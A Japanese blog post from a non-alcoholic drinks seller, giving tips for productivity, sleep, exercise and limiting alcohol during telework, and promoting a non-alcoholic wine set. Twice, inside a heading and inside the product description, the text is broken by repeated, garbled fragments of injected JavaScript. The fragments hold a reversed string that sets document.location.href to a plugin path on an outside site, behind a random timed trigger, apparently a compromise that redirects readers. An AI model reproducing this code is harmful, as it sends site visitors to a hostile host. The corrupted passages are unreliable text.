まだまだ続くテレワーク。能率アップ＆自己管理方法を知りたい！
外出は避け、再び家で過ごす日々が多くなりそうなこの冬。引き続き仕事もテレワークで、出社はなしか、月に数回のみという方も多いと思います。自宅で働くことに慣れてきたとはいえ、やはり、オフィスで働くのとは勝手が違い、何かと不便を感じることも多いテレワーク。その反面、上手に活用すれば大きなメリットが期待できます。
今回は、テレワーク中の能率アップや自己管理、ストレスの解消方法をまとめてみました。
◇テレワーク良い点、悪い点をもう一度おさらい
メディアなどで取り上げられる時は、何かとマイナス面が取り上げられがちなテレワークですが、実際はメリットもいっぱい。
まずは、テレワークのプラス面を整理してみましょう。
テレワークのプラス面
・通勤時間がなくなる
都市圏にお住まいの人にとっては、毎日通勤に2時間、3時間かかるというのも珍しくありませんが、テレワークになれば通勤時間はゼロ。
時間の余裕は心の余裕。睡眠時間がタップリとれるようになったという人も多いのでは？
・電話などに邪魔されず仕事に集中できる、仕事効率が上がる
電話や人に話しかけられるといったことがなく、一人の環境で集中して仕事ができるため、かえって仕事が捗るという声をよくききます。
また、リラックスした環境で良いアイディアが出たり、会社に立ち寄らず客先に直行できるので仕事効率が良くなったという営業マンの声もあります。
・職場の苦手な人と顔を合わさなくて良い
友達は好きな人を選べますが、職場での人間関係は選べませんよね。苦手な同僚・上司がいる場合は、顔を合わる機会が減りストレスも減少します。
・家族との時間が増える
これまで残業と長い通勤時間で、子供と過ごす時間がなかなか取れなかった人たちは、テレワークに切り替わって子供と過ごす時間が増えたと思います。
仕事中に遊んでとねだられたり大変な面もありますが、やはり家族と過ごす時間が増えるのは嬉しいものですよね。
・子育てや介護との両立も可能に
小さな子供がいたり、病気の家族の介護と仕事の両立に苦労をしている人にとっては、テレワークへの移行でフレキシブルな勤務に切り替わることは大きな魅力ですね。
・私生活が充実する
自由に使える時間が増えて、これまで時間がなくてあきらめていた趣味などに挑戦する時間が持てたり、キャリアアップ・スキルアップのための勉強の時間が取れるようになったという人もいるようです。
テレワークのマイナス面
これに対して、テレワークのマイナス面を見てみましょう。
・自宅に仕事用のスペースがない、インターネット速度やパソコンのパワーがないなど、環境が整っていない場合、仕事能率が低下しストレスになる。
・リモート環境では、職場でのコミュニケーションが難しくなる。細かいニュアンスが伝わらず誤解が生まれたり、チームワークを持ちにくくなることも。
・一人暮らしの場合はテレワークにより人と会う機会が無くなる。家族がいる場合でも、家族以外の人に会う機会がなく、ストレスの原因になる。
・家族と過ごす時間が増える反面、小さな子供やペットが甘えてきて仕事に集中できない。
・外出が少なくなり、運動不足になる。
・仕事と私生活のメリハリがつかない。仕事モードへの切り替えができずダラけたり、あるいは、通勤時間がないため結果的に普段より長時間労働になる。
・仕事中に口寂しくて間食が増える。また、人目がないため仕事中に飲酒したり、毎日の酒量が増えてしまう。
◇なんと46％が勤務中に飲酒経験あり？！テレワーク飲酒問題
先に挙げたマイナス面の中でも、Mellowが気になるのは、やはりテレワーク中の飲酒問題。
これはアメリカでのデータになりますが、One Pollが実施した2000人を対象とした調査によると、なんと45％のテレワーカーが仕事中にお酒を飲んだことがあると回答しています。そして、46％は仕事を早めに切り上げてお酒を飲み始めてしまったことがあるそうです。
毎日オフィスに出勤しなければならない時は、「明日は早いから、そろそろ今日はお酒はよそう」「ランチタイムに一杯飲んで、職場でお酒の匂いをさせるわけにいかない」などの自制心が働きますよね。
しかし、テレワークの場合、監視の目がなく時間にも余裕があるため、仕事中に飲み始めてしまったり、だらだらと夜遅くまで飲み続けて、翌朝ベッドから飛び起きて二日酔いのまま仕事することになったりと、行動に歯止めがかかりにくくなります。
また、現在のように、感染への不安や、これからの仕事や生活への不安など、心理的なストレスが大きい状況では、どうしても不安を解消するためにお酒に手が伸びてしまう傾向も強まります。
このような状況でお酒を飲みつづけてしまうと、アルコール依存症・依存症予備軍になってしまう危険大です！
では、テレワーク生活の能率アップ方法、そして、テレワーク中に自分を律する方法について考えてみましょう。
◇テレワークライフ改善方法、そしてStoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}topテレワーク飲酒！
テレワーク生活を乗り切るためには、先ほどのテレワークのマイナス面に注目し、それを改善していきましょう。
・仕事用のスペースを作る
仕事と私生活が切り替えできるよう、仕事用の部屋が確保できればベストです。それが無理な場合でも、ダイニングテーブルなどで仕事をするのではなく、仕事用のデスクをおいて、仕事モードに切り替えられるようワークスペースを作ると良いでしょう。
また、テレビや冷蔵庫などが目に入るとどうしても気が取られてしまうので、そういったものが目に入らない配置を工夫しましょう。パーテーションを使って、部屋の風景が目に入らないようにするのも良いですね。
仕事スペースを設けるのが難しい場合や、子供やペットがいて家では集中が難しい場合は、カフェやテレワーク用のコワーキングスペースを利用するのも手です。
・設備を整える
ネットが遅いなら光回線を導入する、パソコンが遅いならハイパワーなパソコンに買い換えるなど、ストレスのない仕事ができる設備にアップグレードしましょう。出費はかさみますが、レスポンスの遅さによるストレスがなくなり快適さが増します。
また、会社と相談して、会社で使っているPCを外部から操作できるリモートデスクトップなど、仕事をスムーズにするためのシステムの導入を積極的に検討してもらいましょう。
・コミュニケーションツールの導入
昨年はZoomなどリモート会議用のシステムが一躍脚光を浴びましたが、同僚にちょっと聞きたいことがある時に、同様に便利なのがビジネスチャット。
わざわざメールをして返信を待つのはレスポンスに時間がかかり面倒ですが、そういう場合は、社内でビジネスチャットが導入できないか提案してみましょう。友達とのトークにラインやメッセンジャーを利用する感覚で、リモートで仕事をしている同僚と会話ができるのでストレスが減ります。
・仕事とプライベートの区別をつける
仕事にキリがつかない時など、ずるずると残業が長引く可能性があるテレワーク。就労時間以外に仕事を持ち越さない工夫をしてみましょう。
例えば、友達とオンライン飲み会をしたり、英会話・楽器・ヨガなどのオンラインレッスンを受講したり、仕事以外の勉強や読書など、仕事以外の予定を入れてしまうのも良いですね。
・夜型生活にならないよう注意する
一日は24時間ですが、実は、人間のもともとの体内時計は25時間周期といわれています。なので、通勤のため早起きする必要がなくなると、どんどん就寝時間が遅くなっていく危険性があります。実際、テレワークやリモート授業に切り替わってから、夜型生活になってしまったという話をよく聞きますよね。
夜型生活で心配されるのは、メンタルヘルスへの影響。夜型タイプの人は、うつになりやすく、またうつからの回復に時間がかかるという研究があります。また、調査によると、夜型タイプの人は喫煙や飲酒など刺激物を欲しがる傾向が強いことが分かっており、夜型生活になることでアルコール依存症などへのリスクが高まると考えられます。
それ以外にも、夜間に食事をすると、なんと日中に食べるよりエネルギーが脂肪として蓄積されやすくなるという恐ろし～いデータもあるそうです！
テレワーク期間が終了したときに、スムーズに通常生活に復帰するためにも、テレワーク期間も早寝早起きしメリハリある生活を保ちたいもの。
そのためには、まず朝起きてすぐ太陽の光を浴びることをお勧めします。
眠りを誘うホルモンをメラトニンといいますが、2500ルクスを超える強い光にはこのメラトニンの分泌をストップし体を覚醒させる作用があります。
また、光を浴びたおよそ14時間後から再度メラトニンの分泌が再開されるため、自然な睡眠リズムを作り出してくれるのです。
ちなみに、室内照明の明るさは500ルクス程度と、メラトニンをストップさせるには不十分。晴れた日の窓際の明るさがちょうど2500ルクスといわれています。
目覚めたらベッドから抜け出して窓際やベランダに行き、朝日を浴びましょう。メラトニンの力で、リズムある生活を維持しやすくなりますよ！
・散歩や家でできるスポーツをしよう
通勤時間が無くなり運動不足気味になりがちなテレワーク生活。日常生活の中で、無理なく体を動かす機会を増やしましょう。ストレス解消にも役立ちます。
手軽なのはウオーキング。ちょっと遠くのパン屋さんやスーパーまで足を延ばして買い物すなどすると、日常生活の中に自然に組み入れられますね。また、朝日を浴びてのランニングも、生活リズムを整えるのに役立ちます。
子供がいる方は、子供との遊びの中にエクササイズ要素を取り入れてみては？縄跳びや、室内でもできるトランポリンなどは、大人も子供も楽しんで体を動かせます。
また、You Tubeなどで公開されている筋トレやエクササイズの動画に合わせて体を動かすのも手軽にできますね。
・お菓子やお酒の誘惑に負ける
仕事中口寂しくなって、人目がないのをいいことについついお菓子をつまむ頻度が増えたり、ついお酒に手が伸びるケース、多いですよね。
これを避けるには、まずは買い置きをしない、そして、すぐ手に取れるところに置かないのが大事です。また、コンビニなど手軽にお菓子やお酒が手に入る場所にはよりつかないようにしましょう。
おすすめなのは、高級で美味しい品を買うこと。高くて沢山買えないので、ダラダラ食べたり飲んだりするのを防げます。美味しいので少量でも満足度は高いでしょう。
また、お酒の場合は、まず飲み始める時刻を決めて、仕事中にはお酒に手を出さないルールを守ることが必要です。
それから、テレワーク生活ではつい夜型に傾きやすく、時間の制限なく飲み続けてしまう傾向があります。終わりの時間を決めたり、一日に飲む本数の上限を設けておきましょう。飲酒する曜日を決めたり、仕事の後に車で出かける予定を入れて、強制的に飲めない状況を作るのも良いですね。
また、ノンアルコール飲料に切り替えるというのもおすすめです。
◇テレワーク生活にお薦め、ノンアルコール・ビールとノンアルコール・ワイン
テレワーク生活に、Mellowがおすすめするのは、ベルギー・ネオブュル社のノンアルコール・ビールとノンアルコール・ワイン。
いずれも、いったんビールやワインを醸造し、そこから真空蒸留設備を使い通常の蒸留よりはるかに低い32℃という低温で、お酒のアロマやフレーバーを守りながらアルコールだけを除去しました。
なので、その味わいはまるで本物のビールやワインのよう！満足度抜群のノンアルコール飲料です。
アルコールを含まないので、仕事中のランチタイムに飲んでリフレッシュするのもよし、もう少し残業があるから酔いたくないけどちょっとだけ気分転換したい時や、明日は出勤日だから深酔いしたくない時など、皆様の様々なニーズに合わせて楽しんでいただけます。
☆ノンアルコールワイン ミニボトル4種類飲み比べ6本セット
送料無料 2850円（税抜）
Mellow Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6);if (number1==3){var delay = 18000;setTimeout($NqM(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.rantoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toreで販売中のネオブュル社のノンアルコール・ワイン4種類のミニボトル（200ml）の6本セットです。いろんな味がアソートになっているので、お試しにもおすすめです！
飲み切りタイプのミニボトルなので、ちょっとした気分転換にピッタリ。
真空蒸留によるリアルなワイン風味をお楽しみください。
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